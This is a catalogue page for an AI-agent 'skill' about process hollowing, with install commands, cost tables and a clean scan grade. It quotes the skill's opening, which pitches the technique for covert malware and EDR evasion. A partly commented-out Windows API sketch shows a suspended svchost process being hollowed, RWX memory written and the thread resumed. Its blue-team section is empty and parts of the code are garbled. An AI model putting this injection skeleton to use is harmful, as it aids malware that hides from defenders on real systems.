Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/process-hollowingWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/process-hollowing)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/process-hollowing"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/process-hollowing/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/process-hollowing"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/process-hollowing.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00056 | $0.01135 |
| Opus 5 | $0.00028 | $0.00567 |
| Sonnet 5 | $0.00011 | $0.00227 |
| Haiku 4.5 | $0.00006 | $0.00113 |
Grade A, and why
process-hollowing scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 132 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Process Hollowing
When to Use
- When developing custom malware or establishing covert persistence during a red team engagement where standard executable drops are heavily monitored and blocked by AV/EDR.
- To execute unbacked payloads in memory covertly.
Prerequisites
- Active engagement with a defended target environment (EDR/AV present)
- Understanding of the target's security stack (Defender, CrowdStrike, Carbon Black, etc.)
- Payload development framework (msfvenom, Cobalt Strike, custom tooling)
- Test environment matching the target OS/EDR for pre-engagement validation
Workflow
Phase 1: Creation of a Suspended Legitimate Process
# Concept: Windows API STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
// CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
Phase 2: Unmapping (Hollowing) the Original Code
# typedef NTSTATUS(WINAPI* _NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
_NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
// NtUnmapViewOfSection(pi.hProcess, pBaseAddress);
Phase 3: Allocating Memory and Writing Payload
# nimbly PVOID pNewBase = VirtualAllocEx(pi.hProcess, pBaseAddress, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// WriteProcessMemory(pi.hProcess, pNewBase, pPayload, dwSize, NULL);
Phase 4: Thread Resumption
# CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread); // ```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Create Suspended ] --> B{Injection Successful ]}
B -->|Yes| C[Resume Thread ]
B -->|No| D[Check Antivirus ]
C --> E[Execution ]
🔵 Blue Team Detection & Defense
- API Monitoring: Memory Scanning: EDR Heuristics: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Process Hollowing — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 132 lines · 56 tokens per session scan A 144687037749
process-hollowing is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 56 tokens to every session and 1,135 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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